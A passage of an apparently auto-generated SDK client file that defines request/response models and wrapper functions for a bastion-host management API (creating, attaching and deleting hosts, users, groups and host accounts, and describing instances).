userGroupId?: string(name='UserGroupId'),
userId?: string(name='UserId'),
}
](name='Results'),
}
model AddUsersToGroupResponse = {
headers: map[string]string(name='headers'),
body: AddUsersToGroupResponseBody(name='body'),
}
async function addUsersToGroupWithOptions(request: AddUsersToGroupRequest, runtime: Util.RuntimeOptions): AddUsersToGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('AddUsersToGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function addUsersToGroup(request: AddUsersToGroupRequest): AddUsersToGroupResponse {
var runtime = new Util.RuntimeOptions{};
return addUsersToGroupWithOptions(request, runtime);
}
model AttachHostAccountsToUserRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userId?: string(name='UserId'),
hosts?: string(name='Hosts'),
}
model AttachHostAccountsToUserResponseBody = {
requestId?: string(name='RequestId'),
results?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostId?: string(name='HostId'),
userId?: string(name='UserId'),
hostAccounts?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostAccountId?: string(name='HostAccountId'),
}
](name='HostAccounts'),
}
](name='Results'),
}
model AttachHostAccountsToUserResponse = {
headers: map[string]string(name='headers'),
body: AttachHostAccountsToUserResponseBody(name='body'),
}
async function attachHostAccountsToUserWithOptions(request: AttachHostAccountsToUserRequest, runtime: Util.RuntimeOptions): AttachHostAccountsToUserResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('AttachHostAccountsToUser', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function attachHostAccountsToUser(request: AttachHostAccountsToUserRequest): AttachHostAccountsToUserResponse {
var runtime = new Util.RuntimeOptions{};
return attachHostAccountsToUserWithOptions(request, runtime);
}
model AttachHostAccountsToUserGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userGroupId?: string(name='UserGroupId'),
hosts?: string(name='Hosts'),
}
model AttachHostAccountsToUserGroupResponseBody = {
requestId?: string(name='RequestId'),
results?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostId?: string(name='HostId'),
userGroupId?: string(name='UserGroupId'),
hostAccounts?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostAccountId?: string(name='HostAccountId'),
}
](name='HostAccounts'),
}
](name='Results'),
}
model AttachHostAccountsToUserGroupResponse = {
headers: map[string]string(name='headers'),
body: AttachHostAccountsToUserGroupResponseBody(name='body'),
}
async function attachHostAccountsToUserGroupWithOptions(request: AttachHostAccountsToUserGroupRequest, runtime: Util.RuntimeOptions): AttachHostAccountsToUserGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('AttachHostAccountsToUserGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function attachHostAccountsToUserGroup(request: AttachHostAccountsToUserGroupRequest): AttachHostAccountsToUserGroupResponse {
var runtime = new Util.RuntimeOptions{};
return attachHostAccountsToUserGroupWithOptions(request, runtime);
}
model AttachHostGroupAccountsToUserRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userId?: string(name='UserId'),
hostGroups?: string(name='HostGroups'),
}
model AttachHostGroupAccountsToUserResponseBody = {
requestId?: string(name='RequestId'),
results?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostGroupId?: string(name='HostGroupId'),
userId?: string(name='UserId'),
hostAccountNames?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostAccountName?: string(name='HostAccountName'),
}
](name='HostAccountNames'),
}
](name='Results'),
}
model AttachHostGroupAccountsToUserResponse = {
headers: map[string]string(name='headers'),
body: AttachHostGroupAccountsToUserResponseBody(name='body'),
}
async function attachHostGroupAccountsToUserWithOptions(request: AttachHostGroupAccountsToUserRequest, runtime: Util.RuntimeOptions): AttachHostGroupAccountsToUserResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('AttachHostGroupAccountsToUser', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function attachHostGroupAccountsToUser(request: AttachHostGroupAccountsToUserRequest): AttachHostGroupAccountsToUserResponse {
var runtime = new Util.RuntimeOptions{};
return attachHostGroupAccountsToUserWithOptions(request, runtime);
}
model AttachHostGroupAccountsToUserGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userGroupId?: string(name='UserGroupId'),
hostGroups?: string(name='HostGroups'),
}
model AttachHostGroupAccountsToUserGroupResponseBody = {
requestId?: string(name='RequestId'),
results?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostGroupId?: string(name='HostGroupId'),
userGroupId?: string(name='UserGroupId'),
hostAccountNames?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostAccountName?: string(name='HostAccountName'),
}
](name='HostAccountNames'),
}
](name='Results'),
}
model AttachHostGroupAccountsToUserGroupResponse = {
headers: map[string]string(name='headers'),
body: AttachHostGroupAccountsToUserGroupResponseBody(name='body'),
}
async function attachHostGroupAccountsToUserGroupWithOptions(request: AttachHostGroupAccountsToUserGroupRequest, runtime: Util.RuntimeOptions): AttachHostGroupAccountsToUserGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('AttachHostGroupAccountsToUserGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function attachHostGroupAccountsToUserGroup(request: AttachHostGroupAccountsToUserGroupRequest): AttachHostGroupAccountsToUserGroupResponse {
var runtime = new Util.RuntimeOptions{};
return attachHostGroupAccountsToUserGroupWithOptions(request, runtime);
}
model ConfigInstanceSecurityGroupsRequest {
lang?: string(name='Lang'),
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
authorizedSecurityGroups?: [ string ](name='AuthorizedSecurityGroups'),
}
model ConfigInstanceSecurityGroupsResponseBody = {
instanceId?: string(name='InstanceId'),
requestId?: string(name='RequestId'),
}
model ConfigInstanceSecurityGroupsResponse = {
headers: map[string]string(name='headers'),
body: ConfigInstanceSecurityGroupsResponseBody(name='body'),
}
async function configInstanceSecurityGroupsWithOptions(request: ConfigInstanceSecurityGroupsRequest, runtime: Util.RuntimeOptions): ConfigInstanceSecurityGroupsResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ConfigInstanceSecurityGroups', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function configInstanceSecurityGroups(request: ConfigInstanceSecurityGroupsRequest): ConfigInstanceSecurityGroupsResponse {
var runtime = new Util.RuntimeOptions{};
return configInstanceSecurityGroupsWithOptions(request, runtime);
}
model ConfigInstanceWhiteListRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
whiteList?: [ string ](name='WhiteList'),
}
model ConfigInstanceWhiteListResponseBody = {
instanceId?: string(name='InstanceId'),
requestId?: string(name='RequestId'),
}
model ConfigInstanceWhiteListResponse = {
headers: map[string]string(name='headers'),
body: ConfigInstanceWhiteListResponseBody(name='body'),
}
async function configInstanceWhiteListWithOptions(request: ConfigInstanceWhiteListRequest, runtime: Util.RuntimeOptions): ConfigInstanceWhiteListResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ConfigInstanceWhiteList', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function configInstanceWhiteList(request: ConfigInstanceWhiteListRequest): ConfigInstanceWhiteListResponse {
var runtime = new Util.RuntimeOptions{};
return configInstanceWhiteListWithOptions(request, runtime);
}
model CreateHostRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
hostPrivateAddress?: string(name='HostPrivateAddress'),
hostPublicAddress?: string(name='HostPublicAddress'),
activeAddressType?: string(name='ActiveAddressType'),
hostName?: string(name='HostName'),
source?: string(name='Source'),
OSType?: string(name='OSType'),
comment?: string(name='Comment'),
sourceInstanceId?: string(name='SourceInstanceId'),
instanceRegionId?: string(name='InstanceRegionId'),
}
model CreateHostResponseBody = {
hostId?: string(name='HostId'),
requestId?: string(name='RequestId'),
}
model CreateHostResponse = {
headers: map[string]string(name='headers'),
body: CreateHostResponseBody(name='body'),
}
async function createHostWithOptions(request: CreateHostRequest, runtime: Util.RuntimeOptions): CreateHostResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('CreateHost', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function createHost(request: CreateHostRequest): CreateHostResponse {
var runtime = new Util.RuntimeOptions{};
return createHostWithOptions(request, runtime);
}
model CreateHostAccountRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
hostId?: string(name='HostId'),
protocolName?: string(name='ProtocolName'),
hostAccountName?: string(name='HostAccountName'),
password?: string(name='Password'),
privateKey?: string(name='PrivateKey'),
passPhrase?: string(name='PassPhrase'),
}
model CreateHostAccountResponseBody = {
hostAccountId?: string(name='HostAccountId'),
requestId?: string(name='RequestId'),
}
model CreateHostAccountResponse = {
headers: map[string]string(name='headers'),
body: CreateHostAccountResponseBody(name='body'),
}
async function createHostAccountWithOptions(request: CreateHostAccountRequest, runtime: Util.RuntimeOptions): CreateHostAccountResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('CreateHostAccount', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function createHostAccount(request: CreateHostAccountRequest): CreateHostAccountResponse {
var runtime = new Util.RuntimeOptions{};
return createHostAccountWithOptions(request, runtime);
}
model CreateHostGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
hostGroupName?: string(name='HostGroupName'),
comment?: string(name='Comment'),
}
model CreateHostGroupResponseBody = {
hostGroupId?: string(name='HostGroupId'),
requestId?: string(name='RequestId'),
}
model CreateHostGroupResponse = {
headers: map[string]string(name='headers'),
body: CreateHostGroupResponseBody(name='body'),
}
async function createHostGroupWithOptions(request: CreateHostGroupRequest, runtime: Util.RuntimeOptions): CreateHostGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('CreateHostGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function createHostGroup(request: CreateHostGroupRequest): CreateHostGroupResponse {
var runtime = new Util.RuntimeOptions{};
return createHostGroupWithOptions(request, runtime);
}
model CreateUserRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
source?: string(name='Source'),
userName?: string(name='UserName'),
password?: string(name='Password'),
displayName?: string(name='DisplayName'),
comment?: string(name='Comment'),
email?: string(name='Email'),
mobile?: string(name='Mobile'),
sourceUserId?: string(name='SourceUserId'),
mobileCountryCode?: string(name='MobileCountryCode'),
}
model CreateUserResponseBody = {
userId?: string(name='UserId'),
requestId?: string(name='RequestId'),
}
model CreateUserResponse = {
headers: map[string]string(name='headers'),
body: CreateUserResponseBody(name='body'),
}
async function createUserWithOptions(request: CreateUserRequest, runtime: Util.RuntimeOptions): CreateUserResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('CreateUser', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function createUser(request: CreateUserRequest): CreateUserResponse {
var runtime = new Util.RuntimeOptions{};
return createUserWithOptions(request, runtime);
}
model CreateUserGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userGroupName?: string(name='UserGroupName'),
comment?: string(name='Comment'),
}
model CreateUserGroupResponseBody = {
userGroupId?: string(name='UserGroupId'),
requestId?: string(name='RequestId'),
}
model CreateUserGroupResponse = {
headers: map[string]string(name='headers'),
body: CreateUserGroupResponseBody(name='body'),
}
async function createUserGroupWithOptions(request: CreateUserGroupRequest, runtime: Util.RuntimeOptions): CreateUserGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('CreateUserGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function createUserGroup(request: CreateUserGroupRequest): CreateUserGroupResponse {
var runtime = new Util.RuntimeOptions{};
return createUserGroupWithOptions(request, runtime);
}
model DeleteHostRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
hostId?: string(name='HostId'),
}
model DeleteHostResponseBody = {
requestId?: string(name='RequestId'),
}
model DeleteHostResponse = {
headers: map[string]string(name='headers'),
body: DeleteHostResponseBody(name='body'),
}
async function deleteHostWithOptions(request: DeleteHostRequest, runtime: Util.RuntimeOptions): DeleteHostResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('DeleteHost', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function deleteHost(request: DeleteHostRequest): DeleteHostResponse {
var runtime = new Util.RuntimeOptions{};
return deleteHostWithOptions(request, runtime);
}
model DeleteHostAccountRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
hostAccountId?: string(name='HostAccountId'),
}
model DeleteHostAccountResponseBody = {
requestId?: string(name='RequestId'),
}
model DeleteHostAccountResponse = {
headers: map[string]string(name='headers'),
body: DeleteHostAccountResponseBody(name='body'),
}
async function deleteHostAccountWithOptions(request: DeleteHostAccountRequest, runtime: Util.RuntimeOptions): DeleteHostAccountResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('DeleteHostAccount', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function deleteHostAccount(request: DeleteHostAccountRequest): DeleteHostAccountResponse {
var runtime = new Util.RuntimeOptions{};
return deleteHostAccountWithOptions(request, runtime);
}
model DeleteHostGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
hostGroupId?: string(name='HostGroupId'),
}
model DeleteHostGroupResponseBody = {
requestId?: string(name='RequestId'),
}
model DeleteHostGroupResponse = {
headers: map[string]string(name='headers'),
body: DeleteHostGroupResponseBody(name='body'),
}
async function deleteHostGroupWithOptions(request: DeleteHostGroupRequest, runtime: Util.RuntimeOptions): DeleteHostGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('DeleteHostGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function deleteHostGroup(request: DeleteHostGroupRequest): DeleteHostGroupResponse {
var runtime = new Util.RuntimeOptions{};
return deleteHostGroupWithOptions(request, runtime);
}
model DeleteUserRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userId?: string(name='UserId'),
}
model DeleteUserResponseBody = {
requestId?: string(name='RequestId'),
}
model DeleteUserResponse = {
headers: map[string]string(name='headers'),
body: DeleteUserResponseBody(name='body'),
}
async function deleteUserWithOptions(request: DeleteUserRequest, runtime: Util.RuntimeOptions): DeleteUserResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('DeleteUser', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function deleteUser(request: DeleteUserRequest): DeleteUserResponse {
var runtime = new Util.RuntimeOptions{};
return deleteUserWithOptions(request, runtime);
}
model DeleteUserGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userGroupId?: string(name='UserGroupId'),
}
model DeleteUserGroupResponseBody = {
requestId?: string(name='RequestId'),
}
model DeleteUserGroupResponse = {
headers: map[string]string(name='headers'),
body: DeleteUserGroupResponseBody(name='body'),
}
async function deleteUserGroupWithOptions(request: DeleteUserGroupRequest, runtime: Util.RuntimeOptions): DeleteUserGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('DeleteUserGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function deleteUserGroup(request: DeleteUserGroupRequest): DeleteUserGroupResponse {
var runtime = new Util.RuntimeOptions{};
return deleteUserGroupWithOptions(request, runtime);
}
model DescribeInstanceAttributeRequest {
regionId?: string(name='RegionId'),
instanceId?: string(name='InstanceId'),
}
model DescribeInstanceAttributeResponseBody = {
requestId?: string(name='RequestId'),
instanceAttribute?: {
vpcId?: string(name='VpcId'),
vswitchId?: string(name='VswitchId'),
description?: string(name='Description'),
expireTime?: long(name='ExpireTime'),
modifyPasswordModule?: string(name='ModifyPasswordModule'),
eniInstanceId?: string(name='EniInstanceId'),
instanceId?: string(name='InstanceId'),
internetEndpoint?: string(name='InternetEndpoint'),
regionId?: string(name='RegionId'),
intranetEndpoint?: string(name='IntranetEndpoint'),
startTime?: long(name='StartTime'),
resourceGroupId?: string(name='ResourceGroupId'),
networkProxyModule?: string(name='NetworkProxyModule'),
webTerminalModule?: string(name='WebTerminalModule'),
instanceStatus?: string(name='InstanceStatus'),
licenseCode?: string(name='LicenseCode'),
publicNetworkAccess?: boolean(name='PublicNetworkAccess'),
storage?: long(name='Storage'),
ports?: [
{
standardPort?: int32(name='StandardPort'),
customPort?: int32(name='CustomPort'),
}
](name='Ports'),
publicExportIps?: [ string ](name='PublicExportIps'),
publicWhiteList?: [ string ](name='PublicWhiteList'),
authorizedSecurityGroups?: [ string ](name='AuthorizedSecurityGroups'),
privateExportIps?: [ string ](name='PrivateExportIps'),
publicIps?: [ string ](name='PublicIps'),
securityGroupIds?: [ string ](name='SecurityGroupIds'),
privateWhiteList?: [ string ](name='PrivateWhiteList'),
}(name='InstanceAttribute'),
}
model DescribeInstanceAttributeResponse = {
headers: map[string]string(name='headers'),
body: DescribeInstanceAttributeResponseBody(name='body'),
}
async function describeInstanceAttributeWithOptions(request: DescribeInstanceAttributeRequest, runtime: Util.RuntimeOptions): DescribeInstanceAttributeResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('DescribeInstanceAttribute', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function describeInstanceAttribute(request: DescribeInstanceAttributeRequest): DescribeInstanceAttributeResponse {
var runtime = new Util.RuntimeOptions{};
return describeInstanceAttributeWithOptions(request, runtime);
}
model DescribeInstancesRequest {
pageNumber?: int32(name='PageNumber'),
pageSize?: int32(name='PageSize'),
regionId?: string(name='RegionId'),
instanceStatus?: string(name='InstanceStatus'),
resourceGroupId?: string(name='ResourceGroupId'),
instanceId?: [ string ](name='InstanceId'),
tag?: [
{
key?: string(name='Key'),
value?: string(name='Value'),
}
](name='Tag'),
}
model DescribeInstancesResponseBody = {
totalCount?: long(name='TotalCount'),
requestId?: string(name='RequestId'),
instances?: [
{
vpcId?: string(name='VpcId'),
vswitchId?: string(name='VswitchId'),
imageVersion?: string(name='ImageVersion'),
planCode?: string(name='PlanCode'),
description?: string(name='Description'),
expireTime?: long(name='ExpireTime'),
legacy?: boolean(name='Legacy'),
instanceId?: string(name='InstanceId'),
internetEndpoint?: string(name='InternetEndpoint'),
regionId?: string(name='RegionId'),
intranetEndpoint?: string(name='IntranetEndpoint'),
startTime?: long(name='StartTime'),
resourceGroupId?: string(name='ResourceGroupId'),
instanceStatus?: string(name='InstanceStatus'),
licenseCode?: string(name='LicenseCode'),
publicNetworkAccess?: boolean(name='PublicNetworkAccess'),
}
](name='Instances'),
}
model DescribeInstancesResponse = {
headers: map[string]string(name='headers'),
body: DescribeInstancesResponseBody(name='body'),
}
async function describeInstancesWithOptions(request: DescribeInstancesRequest, runtime: Util.RuntimeOptions): DescribeInstancesResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('DescribeInstances', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function describeInstances(request: DescribeInstancesRequest): DescribeInstancesResponse {
var runtime = new Util.RuntimeOptions{};
return describeInstancesWithOptions(request, runtime);
}
model DescribeRegionsRequest {
acceptLanguage?: string(name='AcceptLanguage'),
}
model DescribeRegionsResponseBody = {
requestId?: string(name='RequestId'),
regions?: [
{
regionEndpoint?: string(name='RegionEndpoint'),
localName?: string(name='LocalName'),
regionId?: string(name='RegionId'),
}
](name='Regions'),
}
model DescribeRegionsResponse = {
headers: map[string]string(name='headers'),
body: DescribeRegionsResponseBody(name='body'),
}
async function describeRegionsWithOptions(request: DescribeRegionsRequest, runtime: Util.RuntimeOptions): DescribeRegionsResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('DescribeRegions', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function describeRegions(request: DescribeRegionsRequest): DescribeRegionsResponse {
var runtime = new Util.RuntimeOptions{};
return describeRegionsWithOptions(request, runtime);
}
model DetachHostAccountsFromUserRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userId?: string(name='UserId'),
hosts?: string(name='Hosts'),
}
model DetachHostAccountsFromUserResponseBody = {
requestId?: string(name='RequestId'),
results?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostId?: string(name='HostId'),
userId?: string(name='UserId'),
hostAccounts?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostAccountId?: string(name='HostAccountId'),
}
](name='HostAccounts'),
}
](name='Results'),
}
model DetachHostAccountsFromUserResponse = {
headers: map[string]string(name='headers'),
body: DetachHostAccountsFromUserResponseBody(name='body'),
}
async function detachHostAccountsFromUserWithOptions(request: DetachHostAccountsFromUserRequest, runtime: Util.RuntimeOptions): DetachHostAccountsFromUserResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('DetachHostAccountsFromUser', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function detachHostAccountsFromUser(request: DetachHostAccountsFromUserRequest): DetachHostAccountsFromUserResponse {
var runtime = new Util.RuntimeOptions{};
return detachHostAccountsFromUserWithOptions(request, runtime);
}
model DetachHostAccountsFromUserGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userGroupId?: string(name='UserGroupId'),
hosts?: string(name='Hosts'),
}
model DetachHostAccountsFromUserGroupResponseBody = {
requestId?: string(name='RequestId'),
results?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostId?: string(name='HostId'),
userGroupId?: string(name='UserGroupId'),
hostAccounts?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostAccountId?: string(name='HostAccountId'),
}
](name='HostAccounts'),
}
](name='Results'),
}
model DetachHostAccountsFromUserGroupResponse = {
headers: map[string]string(name='headers'),
body: DetachHostAccountsFromUserGroupResponseBody(name='body'),
}
async function detachHostAccountsFromUserGroupWithOptions(request: DetachHostAccountsFromUserGroupRequest, runtime: Util.RuntimeOptions): DetachHostAccountsFromUserGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('DetachHostAccountsFromUserGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function detachHostAccountsFromUserGroup(request: DetachHostAccountsFromUserGroupRequest): DetachHostAccountsFromUserGroupResponse {
var runtime = new Util.RuntimeOptions{};
return detachHostAccountsFromUserGroupWithOptions(request, runtime);
}
model DetachHostGroupAccountsFromUserRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userId?: string(name='UserId'),
hostGroups?: string(name='HostGroups'),
}
model DetachHostGroupAccountsFromUserResponseBody = {
requestId?: string(name='RequestId'),
results?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostGroupId?: string(name='HostGroupId'),
userId?: string(name='UserId'),
hostAccountNames?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostAccountName?: string(name='HostAccountName'),
}
](name='HostAccountNames'),
}
](name='Results'),
}
model DetachHostGroupAccountsFromUserResponse = {
headers: map[string]string(name='headers'),
body: DetachHostGroupAccountsFromUserResponseBody(name='body'),
}
async function detachHostGroupAccountsFromUserWithOptions(request: DetachHostGroupAccountsFromUserRequest, runtime: Util.RuntimeOptions): DetachHostGroupAccountsFromUserResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('DetachHostGroupAccountsFromUser', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function detachHostGroupAccountsFromUser(request: DetachHostGroupAccountsFromUserRequest): DetachHostGroupAccountsFromUserResponse {
var runtime = new Util.RuntimeOptions{};
return detachHostGroupAccountsFromUserWithOptions(request, runtime);
}
model DetachHostGroupAccountsFromUserGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userGroupId?: string(name='UserGroupId'),
hostGroups?: string(name='HostGroups'),
}
model DetachHostGroupAccountsFromUserGroupResponseBody = {
requestId?: string(name='RequestId'),
results?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostGroupId?: string(name='HostGroupId'),
userGroupId?: string(name='UserGroupId'),
hostAccountNames?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostAccountName?: string(name='HostAccountName'),
}
](name='HostAccountNames'),
}
](name='Results'),
}
model DetachHostGroupAccountsFromUserGroupResponse = {
headers: map[string]string(name='headers'),
body: DetachHostGroupAccountsFromUserGroupResponseBody(name='body'),
}
async function detachHostGroupAccountsFromUserGroupWithOptions(request: DetachHostGroupAccountsFromUserGroupRequest, runtime: Util.RuntimeOptions): DetachHostGroupAccountsFromUserGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('DetachHostGroupAccountsFromUserGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function detachHostGroupAccountsFromUserGroup(request: DetachHostGroupAccountsFromUserGroupRequest): DetachHostGroupAccountsFromUserGroupResponse {
var runtime = new Util.RuntimeOptions{};
return detachHostGroupAccountsFromUserGroupWithOptions(request, runtime);
}
model DisableInstancePublicAccessRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
}
model DisableInstancePublicAccessResponseBody = {
instanceId?: string(name='InstanceId'),
requestId?: string(name='RequestId'),
}
model DisableInstancePublicAccessResponse = {
headers: map[string]string(name='headers'),
body: DisableInstancePublicAccessResponseBody(name='body'),
}
async function disableInstancePublicAccessWithOptions(request: DisableInstancePublicAccessRequest, runtime: Util.RuntimeOptions): DisableInstancePublicAccessResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('DisableInstancePublicAccess', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function disableInstancePublicAccess(request: DisableInstancePublicAccessRequest): DisableInstancePublicAccessResponse {
var runtime = new Util.RuntimeOptions{};
return disableInstancePublicAccessWithOptions(request, runtime);
}
model EnableInstancePublicAccessRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
}
model EnableInstancePublicAccessResponseBody = {
instanceId?: string(name='InstanceId'),
requestId?: string(name='RequestId'),
}
model EnableInstancePublicAccessResponse = {
headers: map[string]string(name='headers'),
body: EnableInstancePublicAccessResponseBody(name='body'),
}
async function enableInstancePublicAccessWithOptions(request: EnableInstancePublicAccessRequest, runtime: Util.RuntimeOptions): EnableInstancePublicAccessResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('EnableInstancePublicAccess', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function enableInstancePublicAccess(request: EnableInstancePublicAccessRequest): EnableInstancePublicAccessResponse {
var runtime = new Util.RuntimeOptions{};
return enableInstancePublicAccessWithOptions(request, runtime);
}
model GetHostRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
hostId?: string(name='HostId'),
}
model GetHostResponseBody = {
requestId?: string(name='RequestId'),
host?: {
comment?: string(name='Comment'),
activeAddressType?: string(name='ActiveAddressType'),
hostPublicAddress?: string(name='HostPublicAddress'),
hostName?: string(name='HostName'),
source?: string(name='Source'),
hostPrivateAddress?: string(name='HostPrivateAddress'),
OSType?: string(name='OSType'),
hostId?: string(name='HostId'),
sourceInstanceState?: string(name='SourceInstanceState'),
sourceInstanceId?: string(name='SourceInstanceId'),
protocols?: [
{
hostFingerPrint?: string(name='HostFingerPrint'),
port?: int32(name='Port'),
protocolName?: string(name='ProtocolName'),
}
](name='Protocols'),
}(name='Host'),
}
model GetHostResponse = {
headers: map[string]string(name='headers'),
body: GetHostResponseBody(name='body'),
}
async function getHostWithOptions(request: GetHostRequest, runtime: Util.RuntimeOptions): GetHostResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetHost', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getHost(request: GetHostRequest): GetHostResponse {
var runtime = new Util.RuntimeOptions{};
return getHostWithOptions(request, runtime);
}
model GetHostAccountRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
hostAccountId?: string(name='HostAccountId'),
}
model GetHostAccountResponseBody = {
requestId?: string(name='RequestId'),
hostAccount?: {
hasPassword?: boolean(name='HasPassword'),
